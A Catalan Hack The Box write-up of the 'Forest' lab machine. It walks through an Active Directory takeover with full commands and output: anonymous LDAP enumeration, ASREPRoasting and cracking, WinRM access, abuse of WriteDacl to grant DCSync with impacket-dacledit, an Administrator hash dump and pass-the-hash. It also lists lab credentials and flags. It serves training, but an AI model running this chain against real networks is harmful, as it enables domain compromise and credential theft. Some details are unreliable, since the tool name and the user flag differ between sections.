



HACK THE BOX · EASY · WINDOWS

Forest

Writeup tècnic complet ·
explotació reproduïble

Màquina Forest resolta

HTB Forest · Retired · 2026-04-29

Autor	Ramon Santos Sabarich / r4ms4nt
Tipus	Informe tècnic complet i arxivable
Objectiu	Documentar enumeració, Active Directory, pivot a un usuari amb privilegis i compromís complet amb traçabilitat clara i reutilitzable
Data de resolució	2026-04-29



Informe tècnic normalitzat per a arxivament,
consulta i traçabilitat.

GUIA DE LECTURA

Índex

Informe tècnic final de la màquina Forest. El document conserva el flux operatiu, els comandaments, les evidències, la interpretació i les lliçons reutilitzables en una estructura neta per a lectura, arxiu i consulta.

Fitxa del laboratori

Resum executiu

Abast i criteri de documentació

1. Preparació i arrencada del laboratori

Fet verificat

Lectura didàctica

2. Enumeració inicial amb Nmap

Ports rellevants

Interpretació

Decisió de branca

3. Resolució local del domini

Fet verificat

Lliçó reutilitzable

4. LDAP anonymous bind

Per què s'usa aquest comandament

Fet verificat

Lectura de la sortida

Interpretació

5. Neteja d'usuaris i primer error útil

Problema observat

Correcció metodològica

Usuaris humans observats

Lliçó reutilitzable

6. Validació de svc-alfresco i ASREPROasting

Per què aquest error importa

Correcció pràctica

Fet verificat

Interpretació

7. Craqueig offline de l'AS-REP

Fet verificat

Validació de credencials

Implicació

8. Accés inicial per WinRM i obtenció de user.txt

Fets verificats

Lectura de grups

Interpretació

9. Intent de SharpHound i canvi a bloodhound-python

Fet verificat

Decisió tècnica

Resultat

Nota sobre clock skew



10. Revisió dirigida de BloodHound amb jq

Usuaris rellevants

Grups rellevants

Objecte de svc-alfresco

Interpretació

11. Confirmació de WriteDacl sobre el domini

Fet verificat

Implicació

12. Creació d'un compte controlat

Primer intent i correcció

Creació i pertinences

Fet verificat

Interpretació

13. Concessió de DCSync amb impacket-dacledit

Per què dacledit té sentit

Comandament executat

Fet verificat

14. Extracció del hash d'Administrator amb secretsdump

Fet verificat

Interpretació

15. Accés administratiu mitjançant pass-the-hash

Fet verificat

Tancament tècnic

16. Cadena tècnica final

17. Lliçons reutilitzables

17.1. Un DC es reconeix per un conjunt de senyals, no per un port aïllat

17.2. LDAP anonymous bind pot ser suficient per iniciar una cadena completa

17.3. Les llistes d'usuaris s'han de depurar

17.4. Una llista buida no és una prova negativa

17.5. ASREPROasting confirma una mala configuració de Kerberos

17.6. La flag de user no és la troballa més important

17.7. BloodHound no s'analitza amb grep ampli

17.8. WriteDacl sobre el domini és una primitiva crítica

17.9. DCSync canvia l'impacte de la intrusió

17.10. Pass-the-hash evita dependre de la contrasenya en clar

18. Evidències principals

Fitxa del laboratori

Camp	Valor
Plataforma	Hack The Box
Màquina	Forest
Dificultat	Easy
Sistema identificat	Windows Server 2016 Standard 14393
Rol dominant	Controlador de Domini Active Directory
Domini	htb.local / HTB.LOCAL
Hostname	FOREST
FQDN	FOREST.htb.local
IP inicial observada	10.129.34.129
IP final després de la reconexió	10.129.95.210
Usuari compromès	svc-alfresco
Credencial recuperada	svc-alfresco:s3rvice
Compte controlat creat	r4mforest:R4mForest!26
Hash NTLM d'Administrator obtingut	32693b11e6aa90eb43d32c72a07ceea6
Estat	Resolta

Resum executiu

Forest és una màquina orientada a Active Directory. La fase inicial de reconeixement mostra ràpidament un perfil de Controlador de Domini: DNS, Kerberos, LDAP, SMB, Global Catalog, ADWS i WinRM apareixen exposats al mateix host. Encara que també existeixen serveis HTTP associats a Microsoft HTTPAPI, no constitueixen una aplicació web principal; en aquesta màquina són senyals auxiliars de serveis Windows i d'administració remota.

La cadena de compromís es basa en una seqüència clàssica i molt formativa:

```
LDAP anonymous bind
-> enumeració d'objectes del domini
-> identificació de svc-alfresco
-> ASREPRoasting
-> craqueig offline de l'AS-REP
-> credencial vàlida per a svc-alfresco
-> accés WinRM
-> identificació d'Account Operators
-> anàlisi de relacions amb BloodHound
-> abús d'Exchange Windows Permissions amb WriteDacl sobre el domini
-> concessió de permisos DCSync a un compte controlat
-> extracció del hash d'Administrator
-> pass-the-hash
-> accés administratiu i root.txt
```

La màquina ensenya tres idees centrals. La primera és que l'enumeració LDAP en Active Directory pot revelar una ruta completa si s'interpreta correctament. La segona és que Kerberos no només serveix per a autenticació, sinó que també pot ser una superfície d'atac quan un compte té desactivada la preautenticació. La tercera és que l'escalada en Active Directory no sempre passa per privilegis locals immediats: sovint es construeix encadenant grups, ACLs i permisos delegats.

Abast i criteri de documentació

Aquest document reconstrueix la resolució real del laboratori a partir de l'evidència observada. No es presenta una ruta alternativa ni una explotació inventada. Quan una sortida va ser ambigua, s'indica com a tal. Quan una prova va fallar per seqüència o per entorn, es conserva com a part de l'aprenentatge tècnic, perquè aquests errors ajuden a entendre millor la metodologia.

En el cos principal es conserva la part didàctica útil dels apunts: per què es va escollir cada branca, quin comandament tenia sentit en cada punt, quina sortida importava i com canviava la decisió següent. Al final s'inclou un annex amb els apunts originals complets com a traçabilitat.

1. Preparació i arrencada del laboratori

La màquina es va iniciar amb el flux habitual de treball mitjançant l'script `Inici-HTB`, que prepara el directori de l'objectiu, comprova connectivitat, executa un reconeixement ràpid del sistema i llança els escanejos inicials.

```
Inici-HTB FOREST 10.129.34.129
```

Fet verificat

La connectivitat inicial va ser correcta:

```
PING 10.129.34.129
1 packets transmitted, 1 received, 0% packet loss
```

El TTL observat va ser 127, compatible amb un sistema Windows. L'eina d'identificació ràpida també va classificar l'objectiu com a Windows.

Lectura didàctica

El TTL no s'ha de prendre com a prova absoluta del sistema operatiu, però sí com un senyal primerenc útil. En aquest cas, aquest senyal es va veure reforçat després per Nmap i SMB, de manera que va quedar validat dins d'un conjunt d'evidències més ampli.

2. Enumeració inicial amb Nmap

L'escaneig complet de ports va mostrar una superfície àmplia i molt característica d'un entorn Active Directory.

Ports rellevants

```
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldaps
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm / Microsoft HTTPAPI
49664-50033/tcp open serveis RPC dinàmics
```

L'escaneig de serveis va identificar el domini i l'host:

```
Domain: htb.local
Host: FOREST
FQDN: FOREST.htb.local
OS: Windows Server 2016 Standard 14393
```

Interpretació

La combinació de 53, 88, 389, 445, 3268, 3269 i 9389 és un senyal fort de Controlador de Domini. El port 5985/tcp indica WinRM, que serà útil més endavant si s'obté una credencial vàlida. Els serveis HTTP identificats com Microsoft-HTTPAPI/2.0 retornen Not Found, de manera que no justifiquen obrir una branca web principal.

Decisió de branca

La superfície dominant passa a ser:

```
AD / LDAP / Kerberos / SMB
```

Les branques secundàries queden anotades així:

- WinRM: pendent de credencials vàlides.
- SMB: útil com a validació i enumeració complementària.
- HTTPAPI: no es considera aplicació web principal.

3. Resolució local del domini

En Active Directory convé treballar amb noms de domini i FQDN, no només amb adreces IP. Les eines relacionades amb LDAP, Kerberos o SMB poden dependre de la resolució correcta del domini.

```
echo '10.129.34.129 forest.htb.local htb.local FOREST' | sudo tee -a /etc/hosts
getent hosts htb.local
getent hosts forest.htb.local
```

Fet verificat

Inicialment la resolució va quedar associada a 10.129.34.129. Més endavant, després d'una reconexió d'HTB, la IP de la màquina va canviar a 10.129.95.210, i per això va ser necessari corregir /etc/hosts:

```
sudo cp /etc/hosts /etc/hosts.bak_$(date +%Y%m%d_%H%M%S)
echo '10.129.95.210 forest.htb.local htb.local FOREST' | sudo tee -a /etc/hosts
getent hosts htb.local
getent hosts forest.htb.local
getent hosts FOREST
```

La resolució final va quedar correctament apuntant a:

```
10.129.95.210 forest.htb.local htb.local FOREST
```

Lliçó reutilitzable

Quan una màquina HTB es reconnecta i canvia d'IP, no n'hi ha prou amb modificar els comandaments manualment. En Active Directory també cal revisar /etc/hosts, perquè una resolució antiga pot provocar errors confusos en Kerberos, LDAP o eines d'Impacket.

4. LDAP anonymous bind

Com que Nmap va identificar LDAP i Global Catalog, el pas lògic següent va ser comprovar si el domini permetia consultes anònimes.

```
ldapsearch -x -H ldap://10.129.34.129:389 -b "dc=htb,dc=local" \
> content/ldap/ldap_anonymous_full.ldif
```

Per què s'usa aquest comandament

ldapsearch permet consultar el directori. L'opció -x força autenticació simple. En no proporcionar usuari ni contrasenya, la prova intenta una consulta anònima. La base dc=htb,dc=local deriva del domini observat a Nmap.

Fet verificat

La consulta va retornar objectes del domini sense credencials. Això confirma un LDAP anonymous bind funcional.

Per reduir soroll, es van extreure camps rellevants:

```
grep -Ei 'dn:|sAMAccountName|userPrincipalName|memberOf|servicePrincipalName|userAccountControl' \
content/ldap/ldap_anonymous_full.ldif \
| tee content/ldap/ldap_interesting_fields.txt
```

Lectura de la sortida

La sortida va revelar una estructura rica del domini:

- usuaris i grups integrats;
- comptes i bústies d'Exchange;
- equips FOREST\$ i EXCH01\$;
- grups de seguretat d'Exchange;
- usuaris humans (sebastien, santi, lucinda, andy, mark);
- el compte svc-alfresco dins de OU=Service Accounts.

La troballa més important va ser:

```
CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local
```

Interpretació

L'aparició de svc-alfresco no demostra per si sola una vulnerabilitat, però sí identifica un compte de servei candidat. Els comptes de servei acostumen a ser rellevants perquè poden estar configurats per compatibilitat amb integracions, autenticació heretada o polítiques menys estrictes.

5. Neteja d'usuaris i primer error útil

La primera llista d'usuaris es va generar a partir de tots els sAMAccountName de l'LDIF:

```
grep -i 'sAMAccountName:' content/ldap/ldap_anonymous_full.ldif \
| awk '{print $2}' \
| sort -u \
| tee content/users/domain_users_raw.txt
```

Problema observat

La llista resultant no era una llista neta d'usuaris. Incloïa grups i objectes amb espais tallats per awk. Per exemple, Remote Management Users podia aparèixer reduït a Remote.

Correcció metodològica

Per evitar barrejar usuaris, grups i objectes de sistema, es va repetir la consulta filtrant objectes d'usuari reals:

```
ldapsearch -x -H ldap://10.129.95.210:389 -b "dc=htb,dc=local" \
'(&(objectCategory=person)(objectClass=user))' \
sAMAccountName userPrincipalName userAccountControl memberOf description servicePrincipalName \
| tee content/ldap/ldap_users_clean.ldif
```

Després es va crear una llista més neta:

```
grep -i '^sAMAccountName:' content/ldap/ldap_users_clean.ldif \
| awk '{print $2}' \
| sort -u \
| tee content/users/domain_users_clean.txt
```

Usuaris humans observats

```
sebastien
lucinda
andy
mark
santi
```

Lliçó reutilitzable

En Active Directory, no tot sAMAccountName és un compte humà útil per a Kerberos. Hi ha bústies, comptes interns, equips, grups i objectes de sistema. Abans d'usar una llista com a entrada per a eines Kerberos, convé depurar-la amb filtres LDAP adequats.

6. Validació de svc-alfresco i ASREPROasting

La ruta d'ASREPROasting requereix una condició concreta: un compte d'usuari ha de tenir deshabilitada la preautenticació Kerberos. En els apunts es va intentar generar un fitxer de candidats mitjançant LDAP, però es va produir un error de seqüència: es va executar `grep` sobre un fitxer `asrep_candidates.ldif` que encara no existia. Això va crear un `asrep_candidates.txt` buit.

Per què aquest error importa

Una llista buida no produeix una prova negativa. Si `GetNPUsers` s'executa amb un fitxer sense usuaris, no s'està comprovant realment el compte candidat. En aquest cas, la manca de sortida no significava que `svc-alfresco` no fos vulnerable, sinó que l'eina no va rebre cap usuari vàlid.

Correcció pràctica

Atès que `svc-alfresco` ja havia aparegut com a objecte sota `OU=Service Accounts`, es va crear una llista mínima amb aquest compte:

```
printf 'svc-alfresco\n' | tee content/users/asrep_candidates.txt
```

Després es va sol·licitar l'AS-REP amb Impacket:

```
impacket-GetNPUsers htb.local/ \
-dc-ip 10.129.95.210 \
-usersfile content/users/asrep_candidates.txt \
-no-pass \
-outputfile loot/ad/asrep_hashes.txt
```

Fet verificat

Kerberos va retornar un hash AS-REP per al compte:

```
$krb5asrep$23$svc-alfresco@HTB.LOCAL:...
```

Interpretació

Això confirma que `svc-alfresco` no requereix preautenticació Kerberos. ASREPROasting no necessita conèixer la contrasenya prèviament; sol·licita material xifrat que es pot atacar offline. El valor de la troballa és que l'atac posterior no genera intents de login contra el domini.

7. Craqueig offline de l'AS-REP

El hash obtingut es va atacar offline amb John:


```
john --wordlist=/usr/share/wordlists/rockyou.txt loot/ad/asrep_hashes.txt  
john --show loot/ad/asrep_hashes.txt | tee loot/ad/asrep_cracked.txt
```

Fet verificat

John va recuperar la contrasenya:

```
svc-alfresco:s3rvice
```

Validació de credencials

La contrasenya es va validar primer contra SMB:

```
netexec smb 10.129.95.210 -u svc-alfresco -p 's3rvice'
```

La sortida va confirmar autenticació vàlida:

```
[+] htb.local\svc-alfresco:s3rvice
```

Després es va validar WinRM:

```
netexec winrm 10.129.95.210 -u svc-alfresco -p 's3rvice'
```

La sortida rellevant va ser:

```
[+] htb.local\svc-alfresco:s3rvice (Pwn3d!)
```

Implicació

La credencial no només és vàlida per al domini; també permet obrir una sessió remota per WinRM. Això canvia la branca activa: deixa de ser una fase purament Kerberos i passa a ser una fase de foothold inicial.

8. Accés inicial per WinRM i obtenció de user.txt

La sessió remota es va obrir amb Evil-WinRM:

```
evil-winrm -i 10.129.95.210 -u 'svc-alfresco' -p 's3rvice'
```

Dins de la sessió es va verificar el context:

```
whoami  
hostname  
whoami /user  
whoami /groups  
pwd
```

Fets verificats

```
whoami -> htb\svc-alfresco  
hostname -> FOREST  
pwd -> C:\Users\svc-alfresco\Documents
```

El SID de l'usuari va ser:

```
S-1-5-21-3072663084-364016917-1341370565-1147
```

La flag d'usuari era a:

```
dir C:\Users\svc-alfresco\Desktop  
type C:\Users\svc-alfresco\Desktop\user.txt
```

Flag obtinguda:

```
789fa35a3fbddb31ceee14fa4bdc109
```

Lectura de grups

La sortida de `whoami /groups` va ser més important que la mateixa flag. Va mostrar que `svc-alfresco` pertanyia a:

```
BUILTIN\Remote Management Users  
BUILTIN\Account Operators  
HTB\Privileged IT Accounts  
HTB\Service Accounts
```

Interpretació

`Remote Management Users` explica l'accés per WinRM. `Service Accounts` explica el context funcional del compte. La dada crítica és `Account Operators`, perquè aquest grup pot crear i modificar comptes i afegir usuaris a certs grups no protegits. L'escalada deixa de ser una cerca local clàssica i passa a ser un problema de permisos d'Active Directory.

9. Intent de SharpHound i canvi a bloodhound-python

La fase següent requeria analitzar relacions de domini. Primer es va intentar pujar i executar `SharpHound.exe` des de la sessió WinRM:

```
upload SharpHound.exe  
.\SharpHound.exe -c All
```

Fet verificat

La pujada va funcionar, però l'execució va fallar per incompatibilitat de .NET:

```
The .Net Runtime is not compatible with SharpHound. Please update to .Net 4.7.2.
```

Decisió tècnica

No calia insistir amb aquesta versió de SharpHound. La recol·lecció es podia fer des de Parrot amb `bloodhound-python`, evitant dependre del runtime .NET de la víctima.

```
cd /home/r4mon/pentest/targets/HTB/easy/FOREST  
mkdir -p content/bloodhound  
cd content/bloodhound  
  
bloodhound-python \  
-u 'svc-alfresco' \  
-p 's3rvice' \  
-d htb.local \  
-dc forest.htb.local \  
-ns 10.129.95.210 \  
-c All
```

Resultat

L'eina va trobar:

```
1 domini  
2 equips  
32 usuaris  
76 grups  
2 GPOs  
15 OUs  
20 contenidors  
0 trusts
```

Es van generar els JSON principals:

```
computers.json
containers.json
domains.json
gpos.json
groups.json
ous.json
users.json
```

I es van comprimir per a BloodHound:

```
zip forest_bloodhound_$(date +%Y%m%d_%H%M%S).zip *.json
```

Fitxer generat:

```
content/bloodhound/forest_bloodhound_20260429_170450.zip
```

Nota sobre clock skew

Durant la recol·lecció va aparèixer:

```
KRB_AP_ERR_SKEW(Clock skew too great)
```

Això indica un desfasament horari que pot afectar Kerberos. Tot i això, la recol·lecció va obtenir dades LDAP suficients per analitzar usuaris, grups, OUs i ACLs.

10. Revisió dirigida de BloodHound amb jq

Un grep ampli sobre els JSON va resultar massa sorollós. Els JSON de BloodHound no estan pensats per llegir-se en brut. Es va passar a consultes més dirigides amb jq.

Usuaris rellevants

```
jq -r '.data[].Properties.name' content/bloodhound/*users.json \
| grep -Ei 'svc-alfresco|sebastien|lucinda|andy|mark|santi'
```

Sortida clau:

```
SANTI@HTB.LOCAL
ANDY@HTB.LOCAL
MARK@HTB.LOCAL
SVC-ALFRESCO@HTB.LOCAL
LUCINDA@HTB.LOCAL
SEBASTIEN@HTB.LOCAL
```

Grups rellevants

```
jq -r '.data[].Properties.name' content/bloodhound/*groups.json \
| grep -Ei 'account operators|exchange windows permissions|domain admins|remote management users|service accounts|privileged it accounts'
```

Sortida clau:

```
PRIVILEGED IT ACCOUNTS@HTB.LOCAL
SERVICE ACCOUNTS@HTB.LOCAL
EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL
ACCOUNT OPERATORS@HTB.LOCAL
DOMAIN ADMINS@HTB.LOCAL
REMOTE MANAGEMENT USERS@HTB.LOCAL
```

Objecte de svc-alfresco

```
jq '.data[] | select(.Properties.name=="SVC-ALFRESCO@HTB.LOCAL")' \
content/bloodhound/*users.json
```

Camps rellevants:

```
enabled: true
dontreqpreauth: true
pwdneverexpires: true
hasspn: false
admincount: true
samaccountname: svc-alfresco
```

Interpretació

dontreqpreauth: true confirma retrospectivament per què va funcionar ASREProasting. hasspn: false indica que aquest compte no era candidat directe a Kerberoasting per SPN. El bloc d'Aces de l'objecte svc-alfresco no s'ha de confondre amb permisos que svc-alfresco tingui sobre altres objectes: són ACLs sobre el mateix objecte de l'usuari.

11. Confirmació de WriteDacl sobre el domini

La ruta probable passava per Exchange Windows Permissions, per això se'n va extreure el SID:

```
EWP_SID=$(jq -r '.data[]
| select(.Properties.name=="EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL")
| .ObjectIdentifier' content/bloodhound/*groups.json)

echo "$EWP_SID"
```

SID obtingut:

```
S-1-5-21-3072663084-364016917-1341370565-1121
```

Després es van comprovar les ACLs del domini:

```
jq -r --arg EWP "$EWP_SID" '
.data[]
| select(.Properties.name=="HTB.LOCAL")
| .Aces[]?
| select(.PrincipalSID==$EWP)
| [.RightName, .PrincipalType, .IsInherited] | @tsv
' content/bloodhound/*domains.json
```

Fet verificat

La sortida va confirmar:

```
WriteDacl Group false
WriteDacl Group false
```

L'objecte domini era:

```
DC=HTB,DC=LOCAL
```

i estava marcat com a objectiu d'alt valor.

Implicació

La relació crítica queda confirmada:

```
EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL -- WriteDacl --> HTB.LOCAL
```

Això permet construir una ruta d'escalada sense afegir directament un compte a Domain Admins. La idea és abusar de WriteDacl sobre el domini per concedir permisos de replicació tipus DCSync a un compte controlat.

12. Creació d'un compte controlat

Per no alterar usuaris existents, es va crear un compte nou de domini anomenat r4mforest.

Primer intent i correcció

El primer intent va usar una contrasenya de més de 14 caràcters. `net user` va llançar una pregunta interactiva de compatibilitat amb sistemes anteriors a Windows 2000, i Evil-WinRM no va gestionar bé la resposta. L'usuari no es va crear.

La correcció va ser usar una contrasenya complexa però de 14 caràcters o menys:

```
R4mForest!26
```

Creació i pertinences

Els comandaments es van executar dins d'Evil-WinRM com `svc-alfresco`:

```
net user r4mforest R4mForest!26 /add /domain
net user r4mforest /domain
net group "Exchange Windows Permissions" r4mforest /add /domain
net localgroup "Remote Management Users" r4mforest /add
net user r4mforest /domain
```

Fet verificat

El compte va quedar creat i actiu. Les pertinences observades van ser:

```
Domain Users
Exchange Windows Permissions
Remote Management Users
```

Interpretació

Això confirma que `svc-alfresco`, per la seva pertinença a `Account Operators`, pot crear usuaris i modificar grups no protegits. `Exchange Windows Permissions` no està marcat com a grup protegit, de manera que s'hi va poder afegir el compte controlat.

La ruta queda preparada:

```
r4mforest
-> membre d'Exchange Windows Permissions
-> grup amb WriteDacl sobre HTB.LOCAL
-> possibilitat de concedir permisos DCSync
```

13. Concessió de DCSync amb `impacket-dacledit`

Inicialment es va contemplar usar `PowerView` i `Add-ObjectACL`, però `PowerView.ps1` no estava disponible a la carpeta d'eines. En lloc de bloquejar la fase, es va usar `impacket-dacledit` des de Parrot.

Per què `dacledit` té sentit

`PowerView` i `impacket-dacledit` poden servir per modificar ACLs. La diferència pràctica és el lloc d'execució:

```
PowerView      -> s'executa dins de Windows, per WinRM
impacket-dacledit -> s'executa des de Parrot contra LDAP/AD
```

Com que `r4mforest` ja estava dins d'`Exchange Windows Permissions`, i aquest grup tenia `WriteDacl` sobre el domini, `dacledit` era una via directa i neta.

Comandament executat

```
impacket-dacledit \
  -action write \
  -rights DCSync \
  -principal r4mforest \
  -target-dn 'DC=htb,DC=local' \
  'htb.local/r4mforest:R4mForest!26' \
  -dc-ip 10.129.95.210
```


Fet verificat

La sortida va confirmar:

```
[*] DACL backed up to dacledit-20260429-175029.bak  
[*] DACL modified successfully!
```

Això significa que l'ACL del domini va ser modificada i que r4mforest va rebre permisos de replicació suficients per intentar DCSync.

14. Extracció del hash d'Administrator amb secretdump

Amb els permisos DCSync aplicats, es va executar secretdump limitant l'extracció a l'usuari Administrator:

```
impacket-secretdump \  
'htb.local/r4mforest:R4mForest!26@10.129.95.210' \  
-just-dc-user Administrator \  
-outputfile loot/ad/secretdump_administrator
```

Fet verificat

secretdump va usar DRSUAPI per obtenir secrets de NTDS.DIT:

```
[*] Using the DRSUAPI method to get NTDS.DIT secrets
```

Es va obtenir el hash NTLM d'Administrator:

```
32693b11e6aa90eb43d32c72a07ceea6
```

També es van obtenir claus Kerberos AES i DES de l'usuari administrador.

Interpretació

DCSync no consisteix a trencar la contrasenya de l'administrador. Consisteix a abusar de permisos de replicació del domini per sol·licitar secrets del directori. L'impacte és crític: si un compte pot replicar secrets, pot obtenir hashos de comptes privilegiats.

15. Accés administratiu mitjançant pass-the-hash

No va ser necessari craquejar el hash d'Administrator. En Windows, el hash NTLM es pot reutilitzar directament en certs protocols mitjançant pass-the-hash.

```
evil-winrm -i 10.129.95.210 -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6'
```

Dins de la sessió:

```
whoami  
hostname  
pwd
```

Fet verificat

```
whoami -> htb\administrator  
hostname -> FOREST  
pwd -> C:\Users\Administrator\Documents
```

La flag final era a:

```
dir C:\Users\Administrator\Desktop
type C:\Users\Administrator\Desktop\root.txt
```

Flag obtinguda:

```
2a7cbb6f92926190213605fa2ba841d3
```

Tancament tècnic

El compromís administratiu queda confirmat. La màquina queda resolta.

16. Cadena tècnica final

```
1. Nmap identifica un Controlador de Domini Windows Server 2016.
2. LDAP anonymous bind permet enumerar objectes del domini.
3. L'enumeració revela svc-alfresco a OU=Service Accounts.
4. Kerberos entrega un AS-REP per a svc-alfresco.
5. John craqueja el hash i recupera s3rvice.
6. SMB i WinRM validen la credencial.
7. Evil-WinRM permet accedir com htb\svc-alfresco.
8. whoami /groups revela Account Operators.
9. BloodHound confirma usuaris, grups i relacions rellevants.
10. Exchange Windows Permissions té WriteDacl sobre HTB.LOCAL.
11. svc-alfresco crea r4mforest i l'afegeix a Exchange Windows Permissions.
12. impacket-dacledit concedeix DCSync a r4mforest.
13. secretdump extreu el hash NTLM d'Administrator.
14. Evil-WinRM usa pass-the-hash amb Administrator.
15. S'obté root.txt.
```

17. Lliçons reutilitzables

17.1. Un DC es reconeix per un conjunt de senyals, no per un port aïllat

88/tcp, 389/tcp, 445/tcp, 3268/tcp, 3269/tcp, 9389/tcp, domini visible i FQDN de l'host formen una evidència molt més forta que qualsevol port individual. La classificació correcta de la superfície evita perdre temps en branques web falses.

17.2. LDAP anonymous bind pot ser suficient per iniciar una cadena completa

A Forest, LDAP va permetre llegir estructura interna del domini, usuaris, OUs, objectes d'Exchange i comptes de servei. Aquesta enumeració no és explotació directa, però proporciona la informació necessària per decidir la tècnica següent.

17.3. Les llistes d'usuaris s'han de depurar

Extreure tots els sAMAccountName sense filtrar pot produir llistes contaminades amb grups, equips i objectes interns. Abans d'usar Kerberos o eines d'atac de contrasenyes, convé filtrar per usuaris reals.

17.4. Una llista buida no és una prova negativa

L'intent fallit amb asrep_candidates.txt buit no demostrava que svc-alfresco no fos vulnerable. Només indicava que l'eina no va rebre usuaris. Documentar aquest tipus d'error evita descartar hipòtesis vàlides per errors de seqüència.

17.5. ASREPRoasting confirma una mala configuració de Kerberos

dontreqpreauth: true permet sol·licitar material xifrat sense conèixer prèviament la contrasenya. L'atac rellevant ocorre offline, durant el craqueig del hash.

17.6. La flag de user no és la troballa més important

El veritable pivot va ser `whoami /groups`. La pertinença a `Account Operators` va permetre passar d'accés inicial a una ruta d'escalada de domini.

17.7. BloodHound no s'analitza amb grep ampli

Els JSON de BloodHound contenen moltes relacions imbricades. Per a comprovacions ràpides, `jq` és més precís. Per a rutes completes, la interfície visual de BloodHound continua sent l'eina més adequada.

17.8. WriteDacl sobre el domini és una primitiva crítica

`Exchange Windows Permissions` no era un grup d'administradors del domini, però tenia `WriteDacl` sobre `HTB.LOCAL`. Aquesta relació va permetre concedir permisos `DCSync` a un compte controlat.

17.9. DCSync canvia l'impacte de la intrusió

Un compte amb permisos `DCSync` pot sol·licitar secrets del domini. En obtenir el hash d'`Administrator`, el compromís passa d'usuari amb privilegis delegats a control administratiu efectiu.

17.10. Pass-the-hash evita dependre de la contrasenya en clar

El hash NTLM d'`Administrator` va ser suficient per obrir WinRM com a administrador. No va ser necessari craquejar la contrasenya.

18. Evidències principals

Fase	Evidència
Classificació	FOREST.htb.local, htb.local, Windows Server 2016, ports AD
LDAP	Consulta anònima retorna objectes del domini
Compte candidat	CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local
ASREPRoasting	\$krb5asrep\$23\$svc-alfresco@HTB.LOCAL:...
Craqueig	svc-alfresco:s3rvice
Validació	netexec winrm ... (Pwn3d!)
Foothold	htb\svc-alfresco per Evil-WinRM
User flag	789fa35a3fbdddb31ceee14fa4bdc109
Pivot	BUILTIN\Account Operators
BloodHound	EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL existeix
ACL crítica	WriteDacl sobre HTB.LOCAL
Compte controlat	r4mforest:R4mForest!26
DCSync	DACL modified successfully! i secretsdump per DRSUAPI
Hash Administrator	32693b11e6aa90eb43d32c72a07ceea6
Admin	htb\administrator per Evil-WinRM
Root flag	2a7cbb6f92926190213605fa2ba841d3